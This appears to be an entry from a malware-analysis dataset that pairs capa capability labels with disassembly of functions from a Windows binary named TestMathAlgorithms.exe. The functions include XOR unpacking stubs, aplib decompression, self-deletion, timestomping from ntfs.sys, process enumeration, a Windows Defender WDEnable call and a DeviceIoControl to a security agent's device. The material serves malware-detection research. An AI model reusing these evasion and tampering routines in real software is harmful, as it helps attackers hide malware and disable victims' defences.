joyce8/EMBER2024-capa huggingface dataset:
Function at 0x42e000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
nop
push 4
nop
nop
nop
nop
nop
pop edi
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
je 0x42e072
nop
nop
nop
nop
mov ebx, 0x407ef8
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
push eax
nop
mov eax, ecx
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
pop eax
nop
nop
mov esi, 0x2797401
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
loop 0x42e060
nop
nop
mov eax, section..data
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
je 0x42e0d2
nop
mov ebx, 0x42cd70
nop
nop
mov ecx, ebx
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
push eax
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
nop
div edi
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
nop
nop
mov esi, 0x464d6e59
nop
xor dword [eax], esi
nop
nop
nop
add eax, edi
nop
nop
nop
nop
loop 0x42e0c0
nop
nop
nop
nop
popal
nop
nop
nop
nop
nop
jmp 0x401219
Function at 0x4071f4
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0xc]
xor edx, edx
mov ecx, dword [ebp + 0xc]
and eax, 3
push ebx
mov ebx, dword [ebp + 8]
push esi
mov esi, edx
sub ecx, eax
je 0x40723e
rol edx, 5
xor edx, dword [esi + ebx]
add esi, 4
imul eax, edx, 0x9e3779b9
rol eax, 5
xor eax, 4
imul edx, eax, 0x9e3779b9
cmp esi, ecx
jb 0x40720d
jmp 0x40723e
movsx ecx, byte [esi + ebx]
rol edx, 5
xor edx, ecx
imul edx, edx, 0x9e3779b9
inc esi
cmp esi, dword [ebp + 0xc]
jb 0x40722e
pop esi
mov eax, edx
pop ebx
pop ebp
ret

Function at 0x407d8b
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
push 1
lea esi, [ebx - 1]
push 0x2000
not esi
push ebx
and esi, 0xf0deafff
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edi, eax
cmp edi, esi
jne 0x407dc0
mov eax, esi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
cmp esi, dword [ebp - 0x18]
jb 0x407dea
lea eax, [esi + ebx]
cmp eax, dword [ebp - 0x18]
jb 0x407dea
test edi, edi
je 0x407db7
push 0x8000
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
jmp 0x407db7
test edi, edi
je 0x407df2
mov eax, edi
jmp 0x407db9
push 1
push 0x2000
push ebx
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
test eax, eax
jne 0x407db9
int3
Function at 0x40acc6
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
lea eax, [ebp - 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [ebp - 8]
push eax
mov dword [sym.TestMathAlgorithms.exe_gMozillaPoisonSize], eax
call fcn.00407d8b
pop ecx
mov ecx, dword [sym.TestMathAlgorithms.exe_gMozillaPoisonSize]
mov dword [sym.TestMathAlgorithms.exe_gMozillaPoisonBase], eax
test ecx, ecx
je 0x40acfe
shr ecx, 1
dec ecx
add eax, ecx
mov dword [sym.TestMathAlgorithms.exe_gMozillaPoisonValue], eax
mov esp, ebp
pop ebp
ret
Function at 0x405d6b
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x422a0c], 0
push esi
jne 0x405da2
xor ecx, ecx
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x405d7c
mov dword [ecx*4 + 0x422a08], eax
inc ecx
cmp ecx, 0x100
jl 0x405d77
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 8]
test edx, edx
not eax
jbe 0x405dd3
mov ecx, dword [esp + 0xc]
push edi
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x422a08]
xor eax, esi
inc ecx
dec edx
jne 0x405db5
pop edi
not eax
pop esi
ret 0xc

Function at 0x95a058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.0095a1a8
push ebx
mov ebx, esp
push ebx
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0x10]
cld
mov dl, pe_nt_image_headers32
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0x95a07e
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x95a06a
add dl, dl
jne 0x95a089
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x95a0dc
xor eax, eax
add dl, dl
jne 0x95a096
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x95a17d
add dl, dl
jne 0x95a0a5
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x95a0b0
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x95a0bb
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x95a0c6
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0x95a0d2
push edi
mov eax, eax
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0x95a075
mov eax, 1
add dl, dl
jne 0x95a0ea
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x95a0f5
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x95a0e1
sub eax, ebx
mov ebx, 1
jne 0x95a128
mov ecx, 1
add dl, dl
jne 0x95a10e
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x95a119
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x95a105
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x95a075
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x95a13f
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x95a14a
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x95a136
cmp eax, 0x7d00
jae 0x95a16d
cmp eax, 0x500
jb 0x95a168
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x95a075
cmp eax, 0x7f
ja 0x95a170
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x95a075
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0x95a19e
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0x95a075
pop ebx
sub edi, dword [ebx + 0x10]
mov eax, edi
pop ebx
ret 0x10
Function at 0x432003
Capabilities:
Encode data using xor

Disassembly:
pushal
nop
nop
nop
mov eax, section..rsrc
mov ebx, 0x40c7d0
nop
nop
mov ecx, 0x5e5a45c4
nop
nop
nop
test eax, eax
nop
je 0x43204e
nop
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x432024
nop
nop
nop
mov eax, section..data
nop
nop
mov ebx, 0x42f314
mov ecx, 0x303219aa
nop
nop
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x432084
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
add eax, 4
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
jne 0x43206c
nop
nop
popal
nop
nop
nop
nop
nop
jmp 0x431219

Function at 0x431000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x40915c
nop
nop
mov ecx, 0x111b418f
nop
nop
nop
nop
test eax, eax
nop
nop
je 0x43104e
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x431024
nop
mov eax, section..data
nop
nop
mov ebx, 0x42f3f8
nop
mov ecx, 0x3758461d
nop
nop
test eax, eax
nop
nop
nop
nop
nop
nop
je 0x431084
xor dword [eax], ecx
nop
nop
nop
nop
nop
add eax, 4
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
nop
nop
jne 0x43106c
nop
nop
nop
nop
nop
popal
jmp 0x401219

Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x408f6c
nop
nop
mov ecx, 0xa4417cf
test eax, eax
nop
nop
nop
nop
je 0x43004e
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
cmp eax, ebx
nop
nop
nop
jne 0x430024
nop
nop
nop
nop
nop
mov eax, section..data
mov ebx, 0x42e3d0
nop
mov ecx, 0x59af624b
nop
nop
test eax, eax
nop
nop
nop
nop
nop
nop
je 0x430084
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
add eax, 4
nop
nop
nop
nop
nop
nop
cmp eax, ebx
jne 0x43006c
nop
nop
nop
nop
nop
nop
popal
nop
nop
nop
jmp 0x401219
Function at 0x401000
Capabilities:
Clear file content
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 0xc]
push edi
xor edi, edi
test eax, eax
je 0x401092
cmp dword [ebp + 8], edi
je 0x401092
test ebx, ebx
je 0x401092
push esi
push edi
push 0x80
push 2
push edi
push 3
push 0xc0000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x401089
mov ecx, dword [ebp + 8]
push edi
lea eax, [ebp + 0xc]
push eax
push ebx
push ecx
push esi
mov dword [ebp + 0xc], edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x401062
push esi
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
je 0x401062
mov edi, 1
mov dword [ebp + 8], 0
test esi, esi
je 0x401089
lea edx, [ebp + 8]
push edx
push esi
call dword [sym.imp.KERNEL32.dll_GetHandleInformation]
test eax, eax
je 0x401089
test byte [ebp + 8], 2
jne 0x401089
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
mov eax, edi
pop edi
pop ebx
pop ebp
ret 8
mov eax, edi
pop edi
pop ebx
pop ebp
ret 8

Function at 0x4010a0
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
xor esi, esi
xor ebx, ebx
push edi
test eax, eax
je 0x4011a4
push ebx
push 0x80
push 3
push ebx
push 3
push closesocket
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
mov dword [ebp - 4], edi
cmp edi, 0xffffffff
je 0x4011a4
xor eax, eax
jmp loc.00472a90
mov edi, dword [ebp + 8]
test edi, edi
je 0x4011c5
push 4
push edi
call dword [sym.imp.KERNEL32.dll_IsBadWritePtr]
test eax, eax
mov eax, esi
jne 0x4011c7
mov dword [edi], ebx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
mov eax, esi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8

Function at 0x4011d0
Capabilities:
Check if file exists
Delete file
Get common file path
Move file
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x328
xor eax, eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], eax
mov dword [ebp - 4], eax
push 0x1c
lea eax, [ebp - 0x1c]
push eax
push 0x401e60
mov dword [ebp - 0x1c], 0
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
mov edx, dword [ebp - 0x18]
push 0x104
lea ecx, [ebp - 0x224]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x224]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x4012a0
push esi
lea ecx, [ebp - 0x328]
push ecx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea edx, [ebp - 0x120]
push edx
push 0
push 0
lea eax, [ebp - 0x328]
push eax
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
mov esi, dword [sym.imp.KERNEL32.dll_MoveFileExA]
push 1
lea ecx, [ebp - 0x120]
push ecx
lea edx, [ebp - 0x224]
push edx
call esi
test eax, eax
je 0x40129f
push 0
lea eax, [ebp - 0x120]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea ecx, [ebp - 0x120]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x40129f
push 4
push eax
lea edx, [ebp - 0x120]
push edx
call esi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x4015c0
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x168
push ebx
push esi
push edi
xor ebx, ebx
push 0x40
lea eax, [ebp - 0x58]
push ebx
push eax
mov dword [ebp - 0x5c], ebx
call sub.MSVCRT.dll_memset
push 0x103
xor eax, eax
lea ecx, [ebp - 0x163]
push ebx
push ecx
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], eax
mov byte [ebp - 0x164], bl
call sub.MSVCRT.dll_memset
mov edx, dword [ebp + 8]
add esp, 0x18
push 0x104
push edx
lea eax, [ebp - 0x164]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpynA]
lea ecx, [ebp - 0x14]
push ecx
lea edx, [ebp - 0x5c]
push edx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
lea eax, [ebp - 0x164]
push eax
mov dword [ebp - 0x5c], 0x44
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x40169f
mov eax, dword [ebp - 0x10]
mov edi, dword [sym.imp.KERNEL32.dll_GetHandleInformation]
mov esi, eax
mov dword [ebp + 8], ebx
cmp eax, ebx
je 0x40166d
lea ecx, [ebp + 8]
push ecx
push eax
call edi
test eax, eax
je 0x40166d
test byte [ebp + 8], 2
jne 0x40166d
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x14]
mov esi, eax
mov dword [ebp + 8], ebx
cmp eax, ebx
je 0x401691
lea edx, [ebp + 8]
push edx
push eax
call edi
test eax, eax
je 0x401691
test byte [ebp + 8], 2
jne 0x401691
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x4016b0
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x12c
push ebx
push esi
push edi
xor esi, esi
push 0x124
lea eax, [esp + 0x18]
push esi
push eax
mov dword [esp + 0x18], esi
mov dword [esp + 0x1c], esi
call sub.MSVCRT.dll_memset
add esp, 0xc
push esi
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
cmp esi, 0xffffffff
jne 0x4016f7
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
lea ecx, [esp + 0x10]
push ecx
push esi
mov dword [esp + 0x18], 0x128
call dword [sym.imp.KERNEL32.dll_Process32First]
mov edi, dword [sym.imp.SHLWAPI.dll_StrStrIA]
mov ebx, dword [sym.imp.KERNEL32.dll_Process32Next]
mov edx, dword [ebp + 8]
push edx
lea eax, [esp + 0x38]
push eax
call edi
test eax, eax
jne 0x40176b
lea ecx, [esp + 0x10]
push ecx
push esi
call ebx
test eax, eax
jne 0x401717
mov edi, dword [esp + 0xc]
mov dword [esp + 0xc], 0
test esi, esi
je 0x401760
lea edx, [esp + 0xc]
push edx
push esi
call dword [sym.imp.KERNEL32.dll_GetHandleInformation]
test eax, eax
je 0x401760
test byte [esp + 0xc], 2
jne 0x401760
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
mov edi, dword [esp + 0x18]
jmp 0x401736
Function at 0x401c50
Capabilities:
Access pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
mov dword [ebp - 4], 0
test eax, eax
je 0x401d0a
push 0
lea ecx, [ebp - 4]
push ecx
call fcn.004010a0
mov esi, eax
test esi, esi
je 0x401d0a
push esi
call dword [sym.imp.ntdll.dll_RtlImageNtHeader]
mov edi, eax
test edi, edi
je 0x401ce8
rdtsc
xor dword [0x45c330], eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
xor dword [0x45c330], eax
push 0x40958c
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test eax, eax
je 0x401cc7
push 0x40c344
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x401cc7
push 0x45c330
call eax
mov ecx, dword [0x45c330]
xor edx, edx
mov eax, ecx
or ebx, 0xffffffff
div ebx
add eax, ecx
mov dword [edi + 0x58], eax
mov edx, dword [ebp - 4]
mov eax, dword [ebp + 8]
push edx
push esi
call section..text
mov edi, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push esi
push 0
call edi
push eax
call dword [sym.imp.KERNEL32.dll_HeapValidate]
test eax, eax
je 0x401d0a
push esi
push 0
call edi
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x401d20
Capabilities:
Access pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push esi
push edi
mov edi, eax
push 0
lea eax, [ebp - 4]
push eax
mov eax, edi
call fcn.004010a0
mov esi, eax
test esi, esi
je 0x401d7f
push esi
call dword [sym.imp.ntdll.dll_RtlImageNtHeader]
test eax, eax
je fcn.00401d5d
mov ecx, 0xdfff
and word [eax + 0x16], cx
mov edx, dword [ebp - 4]
push edx
push esi
mov eax, edi
jmp loc.00475970

Function at 0x401d90
Capabilities:
Timestomp file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_CreateFileA]
push 0
push 0x80
push 3
push 0
push 3
push closesocket
push str._globalroot_systemroot_system32drivers_ntfs.sys
call edi
mov esi, eax
cmp esi, 0xffffffff
je 0x401e55
lea eax, [ebp - 0x10]
push eax
lea ecx, [ebp - 0x18]
push ecx
lea edx, [ebp - 0x20]
push edx
push esi
call dword [sym.imp.KERNEL32.dll_GetFileTime]
mov dword [ebp - 8], 0
test esi, esi
je 0x401dfc
lea eax, [ebp - 8]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetHandleInformation]
test eax, eax
je 0x401dfc
test byte [ebp - 8], 2
jne 0x401dfc
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp + 8]
push 0
push 0x80
push 3
push 0
push 3
push 0xc0000000
push ecx
call edi
mov esi, eax
cmp esi, 0xffffffff
je 0x401e55
lea edx, [ebp - 0x10]
push edx
lea eax, [ebp - 0x18]
push eax
lea ecx, [ebp - 0x20]
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_SetFileTime]
mov dword [ebp + 8], 0
test esi, esi
je 0x401e55
lea edx, [ebp + 8]
push edx
push esi
call dword [sym.imp.KERNEL32.dll_GetHandleInformation]
test eax, eax
je 0x401e55
test byte [ebp + 8], 2
jne 0x401e55
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
mov esp, ebp
pop ebp
ret 4
Function at 0x401ea0
Capabilities:
Enumerate process modules

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x228
push ebx
push esi
push edi
mov edi, eax
xor eax, eax
push 0x220
push eax
mov dword [ebp - 4], eax
mov dword [ebp - 0x228], eax
lea eax, [ebp - 0x224]
push eax
call sub.MSVCRT.dll_memset
mov ebx, dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
add esp, 0xc
push edi
push 8
call ebx
mov esi, eax
cmp esi, 0xffffffff
jne 0x401f38
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x18
jne 0x401f9b
call dword [sym.imp.KERNEL32.dll_SwitchToThread]
push edi
push 8
call ebx
mov esi, eax
cmp esi, 0xffffffff
je 0x401f9b
mov edi, dword [ebp - 4]
mov dword [ebp - 4], 0
test esi, esi
je 0x401f2f
lea ecx, [ebp - 4]
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetHandleInformation]
test eax, eax
je 0x401f2f
test byte [ebp - 4], 2
jne 0x401f2f
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
lea ecx, [ebp - 0x228]
push ecx
push esi
mov dword [ebp - 0x228], 0x224
call dword [sym.imp.KERNEL32.dll_Module32First]
test eax, eax
je 0x401f05
mov edi, dword [sym.imp.SHLWAPI.dll_StrStrIA]
mov ebx, dword [sym.imp.KERNEL32.dll_Module32Next]
push 0x40c364
lea edx, [ebp - 0x208]
push edx
call edi
test eax, eax
je 0x401f7e
push 0x40c36c
push eax
call edi
test eax, eax
jne 0x401f91
lea eax, [ebp - 0x228]
push eax
push esi
call ebx
test eax, eax
jne 0x401f60
jmp 0x401f05
mov edi, 1
jmp 0x401f08
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x4021f0
Capabilities:
Get common file path
Get program files directory
Set current directory

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x40cb00
push 0x408ea0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x110
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
xor ebx, ebx
mov byte [ebp - 0x120], bl
push 0x103
push ebx
lea eax, [ebp - 0x11f]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
xor esi, esi
lea ecx, [ebp - 0x120]
push ecx
push ebx
push ebx
push 0x26
push ebx
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
test eax, eax
js 0x4022b7
push str.Windows_Defender
lea edx, [ebp - 0x120]
push edx
call dword [sym.imp.SHLWAPI.dll_PathAppendA]
lea eax, [ebp - 0x120]
push eax
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
test eax, eax
je 0x4022b7
push str.MpClient.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, eax
mov dword [ebp - 0x1c], esi
cmp esi, ebx
je 0x4022b7
push str.WDEnable
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp eax, ebx
je 0x4022b7
mov dword [ebp - 4], ebx
push ebx
call eax
mov dword [ebp - 4], 0xffffffff
jmp 0x4022b7
test esi, esi
je 0x4022c2
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4022e0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xbc
push ebx
xor ebx, ebx
push esi
push ebx
push 0x80
push 3
push ebx
push ebx
push ebx
push str..KmxAgent
mov dword [ebp - 0xb4], 0xb4
mov dword [ebp - 0xb0], 0x10
mov dword [ebp - 0xac], ebx
mov dword [ebp - 0xa8], ebx
mov dword [ebp - 0xa4], ebx
mov dword [ebp - 0xa0], ebx
mov dword [ebp - 0x9c], ebx
mov dword [ebp - 0x98], ebx
mov dword [ebp - 0x94], ebx
mov dword [ebp - 0x90], ebx
mov dword [ebp - 0x8c], 0x7b761e52
mov dword [ebp - 0x88], 0x1c94cc7
mov dword [ebp - 0x84], ebx
mov dword [ebp - 0x80], ebx
mov dword [ebp - 0x7c], ebx
mov dword [ebp - 0x78], ebx
mov dword [ebp - 0x74], 1
mov dword [ebp - 0x70], 1
mov dword [ebp - 0x6c], ebx
mov dword [ebp - 0x68], 1
mov dword [ebp - 0x64], 0x20000000
mov dword [ebp - 0x60], 0x1210064
mov dword [ebp - 0x5c], 0x22
mov dword [ebp - 0x58], ebx
mov dword [ebp - 0x54], 0x4d0007
mov dword [ebp - 0x50], 0x730065
mov dword [ebp - 0x4c], 0x610073
mov dword [ebp - 0x48], 0x650067
mov dword [ebp - 0x44], 0x420000
mov dword [ebp - 0x40], 0xb0022
mov dword [ebp - 0x3c], 0x490000
mov dword [ebp - 0x38], 0x530053
mov dword [ebp - 0x34], 0x560045
mov dword [ebp - 0x30], 0x4e0045
mov dword [ebp - 0x2c], 0x490054
mov dword [ebp - 0x28], 0x3d0044
mov dword [ebp - 0x24], 0x300034
mov dword [ebp - 0x20], 0x320030
mov dword [ebp - 0x1c], 0x650000
mov dword [ebp - 0x18], 0x70006d
mov dword [ebp - 0x14], 0x790074
mov dword [ebp - 0x10], 0x45003d
mov dword [ebp - 0xc], 0x70006d
mov dword [ebp - 8], 0x790074
mov dword [ebp - 4], ebx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x402460
push ebx
lea eax, [ebp - 0xbc]
push eax
push 4
lea ecx, [ebp - 0xb8]
push ecx
push 0xb4
lea edx, [ebp - 0xb4]
push edx
push 0x86000054
push esi
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
pop ebx
mov esp, ebp
pop ebp
ret